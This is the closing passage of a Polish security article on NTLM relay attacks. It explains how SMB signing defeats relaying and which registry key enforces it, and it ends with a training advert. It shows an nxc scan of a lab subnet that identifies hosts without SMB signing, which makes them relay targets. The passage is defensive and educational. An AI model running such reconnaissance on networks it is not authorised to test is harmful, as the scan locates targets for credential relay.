Całkowite zabezpieczenie przed nimi wymagałoby od organizacji rezygnacji z wykorzystania NTLM na rzecz alternatywnego mechanizmu – Kerberos (co od lat jest sugerowane, a w niedalekiej przyszłości – stanie się standardem). Nie każda organizacja jednak może i chce wprowadzić w swojej rozbudowanej sieci tak istotne zmiany – zmiany, które wymagają dokładnego przetestowania i upewnienia się, że nie wprowadzą paraliżu organizacji.

Już w Windows 2000 wprowadzono mechanizm mający na celu zabezpieczenie urządzenia przed możliwością zalogowania do niego, z użyciem skradzionych poświadczeń – mechanizm podpisywania pakietów SMB.

Koncepcja opiera się na zapewnieniu integralności i autentyczności przesyłanych danych. Podczas procesu uwierzytelniania, klient i serwer uzgadniają wspólny, unikalny klucz sesji. Klucz ten nie jest przesyłany przez sieć wprost, ale jest wyliczany w ramach procesu uwierzytelniania (na podstawie sekretu wynikającego z hasła użytkownika).

Gdy podpisywanie SMB jest aktywne, każdy kolejny pakiet wysyłany w ramach tej sesji jest opatrzony cyfrowym podpisem (kryptograficzną sumą kontrolną / MAC), umieszczanym w nagłówku SMB. Podpis ten jest generowany właśnie przy użyciu wspomnianego klucza sesji. Serwer po otrzymaniu pakietu weryfikuje podpis – jeśli się zgadza, ma pewność, że pakiet pochodzi od uwierzytelnionego klienta i nikt nie manipulował nim po drodze.

Atakujący, który znajduje się “pośrodku” (przeprowadzając relay NTLM, np. po wcześniejszym spoofingu LLMNR/NBT-NS z użyciem Respondera) i jedynie przekazuje pakiety NTLM między ofiarą a serwerem, nie zna hasła ofiary. Ponieważ go nie zna, nie jest w stanie wygenerować poprawnego klucza sesji używanego do podpisu dla połączenia z docelowym serwerem.

W rezultacie, nawet jeśli atakującemu uda się przekazać proces logowania (zrelayować handshake), to w momencie, gdy zechce wykonać jakąkolwiek złośliwą operację w imieniu ofiary, nie będzie w stanie poprawnie podpisać swojego pakietu. Serwer, widząc brak podpisu lub podpis nieprawidłowy, odrzuci i zerwie połączenie.

W teorii więc zagrożenie to łatwo zneutralizować – wystarczy w odpowiednich kluczach rejestru (a dokładniej, gałęzi HKLM: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManWorkstation\) na docelowym systemie, wprowadzić wymóg podpisywania pakietów SMB. W praktyce jednak, bardzo często jest on wyłączony w całej sieci, lub obecny tylko na niektórych urządzeniach.

Z perspektywy pentestera/administratora obecnego w sieci, bardzo łatwo można sprawdzić, które urządzenia wymagają podpisów SMB z użyciem aplikacji nxc, zaprezentowanej już wyżej na listingu 8. Wskazuje na to parametr “signing:True” (gdy dany serwer weryfikuje podpisy przychodzących pakietów SMB) / “signing: False” (gdy te nie są sprawdzane):

┌──(kali㉿admin-desktop)-[~]
└─$ nxc smb 192.168.56.0/24
SMB         192.168.56.11   445    DATASRV       [*] Windows 10 / Server 2019 Build 17763 x64 (name:DATASRV) (domain:corpex.local) (signing:True) (SMBv1:False)
SMB         192.168.56.23   445    CONTROLSRV          [*] Windows 10 / Server 2016 Build 14393 x64 (name:CONTROLSRV) (domain:corpex.local) (signing:False) (SMBv1:True)
SMB         192.168.56.12   445    MEEREEN          [*] Windows 10 / Server 2016 Build 14393 x64 (name:MEEREEN) (domain:corpex.local) (signing:True) (SMBv1:True)
SMB         192.168.56.10   445    CE     [*] Windows 10 / Server 2019 Build 17763 x64 (name:CE) (domain:corpex.local) (signing:True) (SMBv1:False)
SMB         192.168.56.22   445    TSTSRV      [*] Windows 10 / Server 2019 Build 17763 x64 (name:TSTSRV) (domain:corpex.local) (signing:False) (SMBv1:False)
Running nxc against 256 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00
[...]

Listing 11. Zrzut narzędzia nxc, na którym można zobaczyć, które serwery w lokalnej sieci sprawdzają podpisy SMB przychodzących pakietów, podczas uwierzytelnienia.

Podsumowanie

Podatności związane z nadużyciem NTLM (wynikające w dużej mierze z tego, jak protokół ten został zaprojektowany) stanowią jeden z najprostszych, podstawowych i jednocześnie – bardzo potężnych sposobów na uzyskanie dostępu i eskalację uprawnień w ramach lokalnej domeny Active Directory. Eksploitacja tych błędów nauczana jest w czasie jednych z pierwszych lekcji ofensywnego bezpieczeństwa systemów Windows.

Działania Microsoftu zmierzające do uczynienia Kerberosa domyślnym (i praktycznie wymuszonym) mechanizmem uwierzytelniania w domenie oraz stopniowego wyłączania obsługi NTLM mogą okazać się jednym z najważniejszych kroków podnoszących bezpieczeństwo sieci organizacji na całym świecie.

Czy NTLM zniknie z powszechnego użytku? Dotychczasowe lekcje pokazują, że organizacje nieprędko (a czasami w ogóle) stosują się do sugestii Microsoft, a kompatybilność wsteczna cały czas wymusza kompromisy pomiędzy użytecznością, a bezpieczeństwem rozwiązania.

Opisane w tym artykule techniki to tylko kilka przykładów błędów, które spotkać można w świecie sieci bazujących na systemach Windows. Istnieją również techniki pozwalające na wymuszeniu na serwerze lub koncie użytkownika, uwierzytelnienia z użyciem NTLM, do serwera atakującego – i im przyjrzymy się w jednym z kolejnych artykułów na Sekuraku. 

Jeżeli drogi czytelniku, problemy opisane w tym artykule były dla Ciebie interesujące, i chciał(a)byś zagłębić się w bezpieczeństwo systemów Windows – zarówno od strony defensywnej jak i zapoznać się z zaawansowanymi technikami testowania ich bezpieczeństwa, to zapraszam do dołączenia do naszego najnowszego (i jednego z największych!) szkolenia – Praktyczne Bezpieczeństwo Windows. 

W jego trakcie nasi trenerzy-praktycy (Grzegorz Tworek, Marek Rzepecki, Wiktor Szymanik), wprowadzą Cię w świat mechanizmów systemu Windows jak i sieci Active Directory, słabych punktów, oraz skutecznych metod zabezpieczeń.

~Marek Rzepecki,

Etyczny haker i trener w Securitum